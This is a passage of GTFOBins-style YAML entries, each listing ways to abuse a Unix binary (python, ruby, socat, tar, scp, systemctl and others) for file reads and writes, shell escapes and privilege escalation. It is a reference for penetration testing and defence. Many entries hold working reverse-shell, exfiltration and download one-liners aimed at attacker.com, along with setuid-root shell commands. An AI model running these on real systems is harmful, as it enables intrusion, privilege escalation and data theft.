_gtfobins/pygmentize ================================================ --- functions: file-read: - binary: false code: |- pygmentize -l text /path/to/input-file contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/pyright ================================================ --- functions: file-read: - binary: false code: |- pyright /path/to/input-file comment: |- Content is leaked as error messages. contexts: sudo: unprivileged: - binary: false code: |- pyright --outputjson /path/to/input-file comment: |- Content is leaked as error messages in JSON format. contexts: sudo: unprivileged: - code: |- pyright -w /path/to/input-dir/ comment: |- Recursively walks directories, parsing all Python files and leaking some contents through diagnostics. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/python ================================================ --- comment: |- The payloads are compatible with both Python version 2 and 3. functions: download: - code: |- python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r else: import urllib as r r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")' contexts: sudo: suid: unprivileged: sender: http-server file-read: - code: |- python -c 'print(open("/path/to/input-file").read())' contexts: sudo: suid: unprivileged: file-write: - code: |- python -c 'open("/path/to/output-file","w+").write("DATA")' contexts: sudo: suid: unprivileged: library-load: - code: |- python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")' contexts: capabilities: list: - CAP_SETUID sudo: suid: unprivileged: reverse-shell: - code: |- python -c 'import sys,socket,os,pty;s=socket.socket() s.connect(("attacker.com",12345)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' contexts: sudo: suid: unprivileged: listener: code: |- socat file:/dev/tty,raw,echo=0 tcp-listen:12345 comment: |- A TCP server with TTY support can be used on the attacker box to receive the shell. tty: true shell: - code: |- python -c 'import os; os.execl("/bin/sh", "sh")' contexts: capabilities: code: |- python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")' list: - CAP_SETUID sudo: suid: code: |- python -c 'import os; os.execl("/bin/sh", "sh", "-p")' shell: false unprivileged: upload: - code: |- python -c 'import sys if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u else: import urllib as u, urllib2 as r r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())' contexts: sudo: suid: unprivileged: receiver: http-server - code: |- python -c 'import sys if sys.version_info.major == 3: import http.server as s, socketserver as ss else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()' contexts: sudo: suid: unprivileged: receiver: http-client ... ================================================ FILE: _gtfobins/qpdf ================================================ --- functions: file-read: - code: |- qpdf --empty --add-attachment /path/to/input-file --key=x -- /path/to/output-file qpdf --show-attachment=x /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/rake ================================================ --- functions: file-read: - code: |- rake -f /path/to/input-file comment: |- The file is actually parsed and the first wrong line is returned in an error message. contexts: sudo: unprivileged: inherit: - code: |- rake -p '...' comment: |- This allows to run Ruby code (`...`). contexts: sudo: unprivileged: from: ruby ... ================================================ FILE: _gtfobins/ranger ================================================ --- functions: shell: - code: |- ranger S contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rc ================================================ --- functions: shell: - code: |- rc contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/readelf ================================================ --- functions: file-read: - binary: false code: |- readelf -a @/path/to/input-file comment: |- Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/red ================================================ --- alias: ed ... ================================================ FILE: _gtfobins/redcarpet ================================================ --- functions: file-read: - binary: false code: |- redcarpet /path/to/input-file comment: |- The file is actually parsed as a Markdown file. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/redis ================================================ --- functions: file-write: - binary: false code: |- redis-cli -h 127.0.0.1 config set dir /path/to/output-dir/ config set dbfilename output-file set x "DATA" save comment: |- Write files on the server running Redis at the specified location. Written data will appear amongst the database dump. Keep in mind that it's actually the server to perform the file write. contexts: sudo: suid: unprivileged: version: |- < 7 ... ================================================ FILE: _gtfobins/restic ================================================ --- functions: command: - blind: true code: |- RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup contexts: sudo: suid: unprivileged: - blind: true code: |- restic --password-command='/path/to/command' backup contexts: sudo: suid: unprivileged: shell: - code: |- RESTIC_PASSWORD_COMMAND='/bin/sh -c "/bin/sh 0<&2 1<&2"' restic backup contexts: sudo: suid: code: |- RESTIC_PASSWORD_COMMAND='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' restic backup unprivileged: - code: |- restic --password-command='/bin/sh -c "/bin/sh 0<&2 1<&2"' backup contexts: sudo: suid: code: |- restic --password-command='/bin/sh -p -c "/bin/sh -p 0<&2 1<&2"' backup unprivileged: upload: - code: |- restic backup -r rest:http://attacker.com:12345/x /path/to/input-file contexts: sudo: suid: unprivileged: receiver: comment: |- The attacker must setup a server to receive the backups, in the following example [rest-server](https://github.com/restic/rest-server/) is used but there are other options. To start a new instance and create a new repository use: ``` rest-server --listen :12345 restic init -r rest:http://localhost:12345/x ``` After the command executed on the target, to extract the data from the restic repository in the current directory on the attacker side: ``` restic restore -r /tmp/restic/x latest --target . ``` ... ================================================ FILE: _gtfobins/rev ================================================ --- functions: file-read: - binary: false code: |- rev /path/to/input-file | rev contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/rlogin ================================================ --- functions: upload: - binary: false code: |- rlogin -l DATA -p 12345 attacker.com comment: |- The file is corrupted by leading and trailing spurious data. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/rlwrap ================================================ --- functions: file-write: - binary: false code: |- rlwrap -l /path/to/output-file echo DATA comment: |- This adds timestamps to the output file. This relies on the external `echo` command. contexts: sudo: suid: unprivileged: shell: - code: |- rlwrap /bin/sh contexts: sudo: suid: code: |- rlwrap /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/rpm ================================================ --- functions: command: - code: |- rpm -ivh x-1.0-1.noarch.rpm comment: |- Generate the RPM package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` echo /path/to/command >x.sh fpm -n x -s dir -t rpm -a all --before-install x.sh . ``` contexts: sudo: inherit: - code: |- rpm --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpm --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: - code: |- rpm --pipe '/bin/sh 0<&1' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rpmdb ================================================ --- functions: inherit: - code: |- rpmdb --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpmdb --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rpmquery ================================================ --- functions: inherit: - code: |- rpmquery --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpmquery --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rpmverify ================================================ --- functions: inherit: - code: |- rpmverify --eval '%{lua:...}' comment: |- This allows to run Lua code (`...`). contexts: sudo: suid: unprivileged: from: lua version: |- Some older version is required. shell: - code: |- rpmverify --eval '%(/bin/sh 1>&2)' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rsync ================================================ --- functions: shell: - code: |- rsync -e '/bin/sh -c "/bin/sh 0<&2 1>&2"' x:x contexts: sudo: suid: code: |- rsync -e '/bin/sh -p -c "/bin/sh -p 0<&2 1>&2"' x:x shell: false unprivileged: ... ================================================ FILE: _gtfobins/rsyslogd ================================================ --- functions: command: - blind: true code: |- cat >/path/to/temp-file </dev/tty 2>/dev/tty"' >~/.rtorrent.rc rtorrent comment: |- After the shell, exit with `Ctrl-Q`. contexts: sudo: suid: code: |- echo 'execute = /bin/sh,-p,-c,"/bin/sh -p /dev/tty 2>/dev/tty"' >~/.rtorrent.rc rtorrent shell: false unprivileged: ... ================================================ FILE: _gtfobins/ruby ================================================ --- functions: download: - code: |- ruby -e 'require "open-uri"; download = URI.open("http://attacker.com/path/to/input-file"); IO.copy_stream(download, "/path/to/output-file")' contexts: sudo: unprivileged: sender: http-server file-read: - code: |- ruby -e 'puts File.read("/path/to/input-file")' contexts: sudo: unprivileged: file-write: - code: |- ruby -e 'File.open("/path/to/output-file", "w+") { |f| f.write("DATA") }' contexts: sudo: unprivileged: library-load: - code: |- ruby -e 'require "fiddle"; Fiddle.dlopen("/path/to/lib.so")' contexts: sudo: unprivileged: reverse-shell: - code: |- ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attacker.com",12345);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' contexts: sudo: unprivileged: listener: tcp-server shell: - code: |- ruby -e 'exec "/bin/sh"' contexts: capabilities: code: |- ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"' list: - CAP_SETUID sudo: unprivileged: upload: - code: |- ruby -run -e httpd . -p 80 contexts: sudo: unprivileged: receiver: http-client version: |- >= 1.9.2 ... ================================================ FILE: _gtfobins/run-mailcap ================================================ --- functions: inherit: - code: |- run-mailcap --action=view text/plain:/etc/hosts contexts: sudo: unprivileged: from: less - code: |- run-mailcap --action=edit text/plain:/path/to/output-file comment: |- The file must exist and be not empty. contexts: sudo: unprivileged: from: vi ... ================================================ FILE: _gtfobins/run-parts ================================================ --- functions: shell: - code: |- run-parts --new-session --regex '^sh$' /bin contexts: sudo: suid: code: |- run-parts --new-session --regex '^sh$' /bin --arg='-p' shell: false unprivileged: - code: |- cp /bin/sh /path/to/temp-dir/ run-parts /path/to/temp-dir/ contexts: sudo: suid: code: |- cp /bin/sh /path/to/temp-dir/ run-parts /path/to/temp-dir/ --arg='-p' shell: false unprivileged: ... ================================================ FILE: _gtfobins/runscript ================================================ --- functions: shell: - code: |- echo '! exec /bin/sh' >/path/to/temp-file runscript /path/to/temp-file contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/rustc ================================================ --- functions: file-read: - binary: false code: |- rustc /path/to/input-file comment: |- The compiler leaks some file lines in the compiler error. contexts: sudo: unprivileged: file-write: - code: |- echo 'fn main() { println!("DATA"); }' >/path/to/temp-file rustc /path/to/temp-file -o /path/to/output-file comment: |- The comment appears in the compiled program. contexts: sudo: unprivileged: inherit: - code: |- rustc --explain E0001 contexts: sudo: unprivileged: from: less ... ================================================ FILE: _gtfobins/rustdoc ================================================ --- functions: file-read: - binary: false code: |- rustdoc /path/to/input-file comment: |- Partial content is displayed as error messages. contexts: sudo: unprivileged: file-write: - binary: false code: |- echo '//! DATA' >/path/to/temp-file rustdoc /path/to/temp-file -o /path/to/output-dir/ comment: |- This command creates a number of documentation files in the target directory, and the data is written in multiple locations, e.g., `src/temp_file/temp-file.html`, amidst other content. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rustfmt ================================================ --- functions: file-read: - binary: false code: |- rustfmt /path/to/input-file comment: |- Partial content is displayed as error messages. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rustup ================================================ --- functions: command: - code: |- mkdir /path/to/temp-dir/bin/ mkdir /path/to/temp-dir/lib/ echo '/path/to/command' >/path/to/temp-dir/bin/rustc chmod +x /path/to/temp-dir/bin/rustc rustup toolchain link x /path/to/temp-dir/ rustup run x rustc contexts: sudo: unprivileged: shell: - code: |- mkdir /path/to/temp-dir/bin/ mkdir /path/to/temp-dir/lib/ cp /bin/sh /path/to/temp-dir/bin/rustc rustup toolchain link x /path/to/temp-dir/ rustup run x rustc contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/rview ================================================ --- alias: view ... ================================================ FILE: _gtfobins/rvim ================================================ --- alias: vim ... ================================================ FILE: _gtfobins/sash ================================================ --- functions: shell: - code: |- sash contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/scanmem ================================================ --- functions: shell: - code: |- scanmem shell /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/scp ================================================ --- functions: download: - code: |- scp user@attacker.com:/path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: sender: ssh-server shell: - code: |- echo 'exec /bin/sh 0<&2 1>&2' >/path/to/temp-file chmod +x /path/to/temp-file scp -S /path/to/temp-file x x: contexts: sudo: suid: shell: true unprivileged: - code: |- scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x: contexts: sudo: suid: shell: true unprivileged: upload: - code: |- scp /path/to/input-file user@attacker.com:/path/to/output-file contexts: sudo: suid: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/screen ================================================ --- functions: file-write: - binary: false code: |- screen -L -Logfile /path/to/output-file echo DATA comment: |- Data is appended to the file and `\n` is converted to `\r\n`. contexts: sudo: unprivileged: version: |- 4.06.02 - binary: false code: |- screen -L /path/to/output-file echo DATA comment: |- Data is appended to the file and `\n` is converted to `\r\n`. contexts: sudo: unprivileged: version: |- 4.05.00 shell: - code: |- screen contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/script ================================================ --- functions: file-write: - binary: false code: |- script -q -c '# DATA' /path/to/output-file comment: |- The content appears among the log prints. contexts: sudo: suid: unprivileged: shell: - code: |- script -q /dev/null contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/scrot ================================================ --- comment: |- This requires a running X server. functions: shell: - code: |- scrot -e /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/sed ================================================ --- functions: file-read: - code: |- sed '' /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - code: |- sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts contexts: sudo: suid: unprivileged: shell: - code: |- sed -n '1e exec /bin/sh 1>&0' /etc/hosts contexts: sudo: suid: shell: true unprivileged: version: |- GNU - code: |- sed e contexts: sudo: suid: shell: true unprivileged: tty: false version: |- GNU ... ================================================ FILE: _gtfobins/service ================================================ --- functions: shell: - code: |- service ../../bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/setarch ================================================ --- functions: shell: - code: |- setarch -3 /bin/sh contexts: sudo: suid: code: |- setarch -3 /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/setcap ================================================ --- functions: privilege-escalation: - code: |- setcap cap_setuid+ep /path/to/command comment: |- This can be used to assign capabilities to executable files. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/setfacl ================================================ --- functions: privilege-escalation: - code: |- setfacl -m u:$(id -un):rwx /path/to/input-file comment: |- This can be run with elevated privileges to change ownership and then read, write, or execute a file. contexts: sudo: suid: ... ================================================ FILE: _gtfobins/setlock ================================================ --- functions: shell: - code: |- setlock - /bin/sh contexts: sudo: suid: code: |- setlock - /bin/sh -p shell: true unprivileged: ... ================================================ FILE: _gtfobins/sftp ================================================ --- functions: download: - code: |- sftp user@attacker.com get /path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: sender: ssh-server shell: - code: |- sftp user@attacker.com !/bin/sh comment: |- This still requires a successfull connection to the server. contexts: sudo: suid: shell: true unprivileged: upload: - code: |- sftp user@attacker.com put /path/to/input-file /path/to/output-file contexts: sudo: suid: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/sg ================================================ --- functions: shell: - code: |- sg $(id -ng) comment: |- Commands can be run if the current user's group is specified, therefore no additional permissions are needed. contexts: sudo: code: |- sg root unprivileged: ... ================================================ FILE: _gtfobins/shred ================================================ --- functions: file-write: - code: |- shred -u /path/to/output-file comment: |- This actually deletes the chosen file. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/shuf ================================================ --- functions: file-read: - code: |- shuf -z /path/to/input-file comment: |- The read file content is corrupted by randomizing the order of NUL terminated strings. contexts: sudo: suid: unprivileged: file-write: - code: |- shuf -e DATA -o /path/to/output-file comment: |- The written file content is corrupted by adding a newline. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/slsh ================================================ --- functions: shell: - code: |- slsh -e 'system("/bin/sh")' contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/smbclient ================================================ --- functions: download: - code: |- smbclient '\\attacker.com\share' -c 'get /path/to/input-file /path/to/output-file' contexts: sudo: unprivileged: sender: code: |- smbserver.py -smb2support share . comment: |- A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket)). shell: - code: |- smbclient '\\host\share' !/bin/sh comment: |- A valid SMB/CIFS server must be available. contexts: sudo: unprivileged: upload: - code: |- smbclient '\\attacker.com\share' -c 'put /path/to/input-file /path/to/output-file' contexts: sudo: unprivileged: receiver: code: |- smbserver.py -smb2support share . comment: |- A SMB/CIFS server can be used on the attacker box to receive the data (e.g, using [Impacket](https://github.com/SecureAuthCorp/impacket)). ... ================================================ FILE: _gtfobins/snap ================================================ --- functions: command: - code: |- snap install xxxx_1.0_all.snap --dangerous --devmode comment: |- Generate the Snap package with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` mkdir -p meta/hooks echo -e '#!/bin/sh\n/path/to/command; false' >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta ``` contexts: sudo: ... ================================================ FILE: _gtfobins/socat ================================================ --- functions: bind-shell: - code: |- socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane connector: tcp-client-tty contexts: sudo: suid: code: |- socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane' shell: false unprivileged: download: - code: |- socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat contexts: sudo: suid: unprivileged: sender: tcp-server file-read: - code: |- socat -u file:/path/to/input-file - contexts: sudo: suid: unprivileged: file-write: - code: |- socat -u 'exec:echo DATA' open:/path/to/output-file,creat comment: |- The `echo` command is actually used. contexts: sudo: suid: unprivileged: reverse-shell: - code: |- socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane contexts: sudo: suid: code: |- socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane' shell: false unprivileged: listener: tcp-server-tty shell: - code: |- socat - exec:/bin/sh,pty,ctty,raw,echo=0 contexts: sudo: suid: code: |- socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0' shell: false unprivileged: upload: - code: |- socat -u file:/path/to/input-file tcp-connect:attacker.com:12345 contexts: sudo: suid: unprivileged: receiver: tcp-server ... ================================================ FILE: _gtfobins/socket ================================================ --- functions: bind-shell: - code: |- socket -svp '/bin/sh -i' 12345 connector: tcp-client contexts: sudo: suid: shell: true unprivileged: reverse-shell: - code: |- socket -qvp '/bin/sh -i' attacker.com 12345 contexts: sudo: suid: shell: true unprivileged: listener: tcp-server ... ================================================ FILE: _gtfobins/soelim ================================================ --- functions: file-read: - binary: false code: |- soelim /path/to/input-file comment: |- The content is actually parsed and corrupted by the command. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/softlimit ================================================ --- functions: shell: - code: |- softlimit /bin/sh contexts: sudo: suid: code: |- softlimit /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/sort ================================================ --- functions: file-read: - binary: false code: |- sort -m /path/to/input-file contexts: sudo: suid: unprivileged: file-write: - binary: false code: |- echo DATA | sort -m -o /path/to/output-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/split ================================================ --- functions: file-read: - code: |- split -b 999 --additional-suffix suffix /path/to/input-file prefix cat prefixaasuffix comment: |- This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`. contexts: sudo: suid: unprivileged: version: |- The `--additional-suffix` flag is only available in the GNU version. file-write: - code: |- split -b 999 --additional-suffix suffix /path/to/input-file prefix comment: |- This copies the input file in the current working directory in a file named `prefixaasuffix`, just make sure to pick a value big enough, instead of `999`. contexts: sudo: suid: unprivileged: version: |- The `--additional-suffix` flag is only available in the GNU version. shell: - code: |- split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/sqlite3 ================================================ --- functions: file-read: - binary: false code: |- sqlite3 </path/to/output-file" contexts: sudo: suid: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/ssh-agent ================================================ --- functions: shell: - code: |- ssh-agent /bin/sh contexts: sudo: suid: code: |- ssh-agent /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/ssh-copy-id ================================================ --- functions: file-read: - code: |- ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com comment: |- The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used. contexts: sudo: unprivileged: file-write: - code: |- ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host comment: |- The input file must have the `.pub` file extension. contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/ssh-keygen ================================================ --- functions: library-load: - code: |- ssh-keygen -D /path/to/lib.so comment: |- The shared library must contain the `void C_GetFunctionList() {}` function. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/ssh-keyscan ================================================ --- functions: file-read: - code: |- ssh-keyscan -f /path/to/input-file comment: |- The file content is actually parsed so only a part of each line is returned as a part of an error message. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/sshfs ================================================ --- functions: command: - blind: true code: |- sshfs -o ssh_command=/path/to/command x: /path/to/dir/ contexts: sudo: unprivileged: download: - code: |- sshfs user@attacker.com:/ /path/to/dir/ cp /path/to/dir/path/to/input-file /path/to/output-file contexts: unprivileged: sender: ssh-server shell: - code: |- echo -e '/bin/sh /dev/tty 2>/dev/tty' >/path/to/temp-file chmod +x /path/to/temp-file sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/ comment: |- The mount dir must be writable by the invoking user. contexts: sudo: unprivileged: upload: - code: |- sshfs user@attacker.com:/ /path/to/dir/ cp /path/to/input-file /path/to/dir/ contexts: unprivileged: receiver: ssh-server ... ================================================ FILE: _gtfobins/sshpass ================================================ --- functions: shell: - code: |- sshpass /bin/sh contexts: sudo: suid: code: |- sshpass /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/sshuttle ================================================ --- functions: shell: - code: |- sudo sshuttle -r x --ssh-cmd '/bin/sh -c "/bin/sh 0<&2 1>&2"' localhost contexts: sudo: ... ================================================ FILE: _gtfobins/start-stop-daemon ================================================ --- functions: shell: - code: |- start-stop-daemon -S -x /bin/sh contexts: sudo: suid: code: |- start-stop-daemon -S -x /bin/sh -- -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/stdbuf ================================================ --- functions: shell: - code: |- stdbuf -i0 /bin/sh contexts: sudo: suid: code: |- stdbuf -i0 /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/strace ================================================ --- functions: file-write: - code: |- strace -s 999 -o /path/to/output-file strace - DATA comment: |- The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`. contexts: sudo: unprivileged: shell: - code: |- strace -o /dev/null /bin/sh contexts: sudo: suid: code: |- strace -o /dev/null /bin/sh -p shell: false unprivileged: ... ================================================ FILE: _gtfobins/strings ================================================ --- functions: file-read: - binary: false code: |- strings /path/to/input-file comment: |- This only returns ASCII strings. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/su ================================================ --- functions: shell: - code: |- su -c /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/sudo ================================================ --- functions: shell: - code: |- sudo /bin/sh contexts: sudo: comment: |- The invocation is actually `sudo sudo ...`. ... ================================================ FILE: _gtfobins/sysctl ================================================ --- functions: command: - blind: true code: |- sysctl 'kernel.core_pattern=|/path/to/command' comment: |- The command is executed by `root` in the background when a core dump occurs. To trigger a core dump, send the `SIGQUIT` signal to a process, for example: ``` sleep infinity & kill -QUIT $! ``` contexts: sudo: suid: file-read: - binary: false code: |- sysctl -n "/../../path/to/input-file" contexts: sudo: suid: unprivileged: version: |- < 4 ... ================================================ FILE: _gtfobins/systemctl ================================================ --- functions: inherit: - code: |- systemctl contexts: sudo: suid: unprivileged: from: less shell: - code: |- echo '[Service] Type=oneshot ExecStart=/path/to/command [Install] WantedBy=multi-user.target' >/path/to/temp-file.service systemctl link /path/to/temp-file.service systemctl enable --now /path/to/temp-file.service comment: |- It might happen that the service is not started with `--now`, in such cases it might be necessary to manually start it. contexts: sudo: suid: - code: |- echo /bin/sh >/path/to/temp-file chmod +x /path/to/temp-file SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target contexts: sudo: ... ================================================ FILE: _gtfobins/systemd-resolve ================================================ --- functions: inherit: - code: |- systemd-resolve --status contexts: sudo: from: less ... ================================================ FILE: _gtfobins/systemd-run ================================================ --- functions: command: - blind: true code: |- systemd-run /path/to/command contexts: sudo: shell: - code: |- systemd-run -S contexts: sudo: - code: |- systemd-run -t /bin/sh contexts: sudo: ... ================================================ FILE: _gtfobins/tac ================================================ --- functions: file-read: - binary: false code: |- tac -s 'RANDOM' /path/to/input-file comment: |- Make sure that `RANDOM` does not appear into the file to read otherwise the content of the file is corrupted by reversing the order of `RANDOM`-separated chunks. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tail ================================================ --- functions: file-read: - code: |- tail -c+0 /path/to/input-file contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tailscale ================================================ --- functions: upload: - code: |- tailscale serve --http=12345 /path/to/input-file comment: |- The URL is reachable by any host of the same Tailnet. contexts: sudo: receiver: code: |- curl http://..ts.net:12345/ -o /path/to/output-file comment: |- An HTTP client can be used on the attacker box to receive the data. The actual URL is returned by the command. ... ================================================ FILE: _gtfobins/tar ================================================ --- functions: download: - code: |- tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/ssh comment: |- The attacker box must have the `rmt` utility installed. contexts: sudo: suid: unprivileged: sender: ssh-server version: |- GNU file-read: - code: |- tar cf /dev/stdout /path/to/input-file -I 'tar xO' comment: |- The file is read then passed to the specified command (e.g., `tar xO`) via standard input. contexts: sudo: suid: unprivileged: version: |- GNU file-write: - code: |- echo DATA >/path/to/temp-file tar cf /path/to/temp-file.tar /path/to/temp-file tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@ comment: |- The archive can also be prepared offline then uploaded to the target. contexts: sudo: suid: unprivileged: version: |- GNU shell: - code: |- tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh contexts: sudo: suid: shell: true unprivileged: - code: |- tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"' contexts: sudo: suid: code: |- tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"' shell: false unprivileged: version: |- GNU - code: |- echo '/bin/sh 0<&1' >/path/to/temp-file tar cf /path/to/temp-file.tar /path/to/temp-file tar xf /path/to/temp-file.tar --to-command /bin/sh comment: |- The archive can also be prepared offline then uploaded to the target. contexts: sudo: suid: unprivileged: version: |- GNU upload: - code: |- tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/ssh comment: |- The attacker box must have the `rmt` utility installed. contexts: sudo: suid: unprivileged: receiver: ssh-server version: |- GNU ... ================================================ FILE: _gtfobins/task ================================================ --- functions: shell: - code: |- task execute /bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/taskset ================================================ --- functions: shell: - code: |- taskset 1 /bin/sh contexts: sudo: unprivileged: ... ================================================ FILE: _gtfobins/tasksh ================================================ --- functions: shell: - code: |- tasksh !/bin/sh contexts: sudo: suid: shell: true unprivileged: ... ================================================ FILE: _gtfobins/tbl ================================================ --- functions: file-read: - binary: false code: |- tbl /path/to/input-file comment: |- The read file content is corrupted by additional text at the beginning. contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tclsh ================================================ --- functions: library-load: - code: |- tclsh load /path/to/lib.so x contexts: capabilities: sudo: suid: unprivileged: reverse-shell: - code: |- tclsh set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s; contexts: sudo: suid: unprivileged: listener: tcp-server shell: - code: |- tclsh contexts: sudo: suid: unprivileged: ... ================================================ FILE: _gtfobins/tcpdump ================================================ --- functions: command: - code: |- echo /path/to/command >/path/to/temp-file chmod +x /path/to/temp-file tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file comment: |- This requires some traffic to be actually captured. Also note that the subprocess is immediately sent to the background. contexts: sudo: code: |- echo /path/to/command" >/path/to/temp-file chmod +x /path/to/temp-file tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /path/to/temp-file -Z root unprivileged: version: |- In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the `postrotate-command` to a small subset of predefined commands thus preventing the execution of the following. - code: |- tcpdump -ln -i lo -w 'command-argument' -W 1 -G 1 -z /path/to/command comment: |- This require some traffic to be actually captured. Also note that the `command-argument` string is both passed to the command and written as file, hence some restrictions apply. contexts: sudo: unprivileged: file-write: - code: |- tcpdump -ln -i lo -w /path/to/output-file -c 1 -Z user comment: |- This saves the packet dump (count is 1) from the loopback interface to a file. To trigger the capture use something like: ``` nc -u localhost 1 <</path/to/output-file' contexts: sudo: suid: code: |- tcsh -bc 'echo DATA >/path/to/output-file' 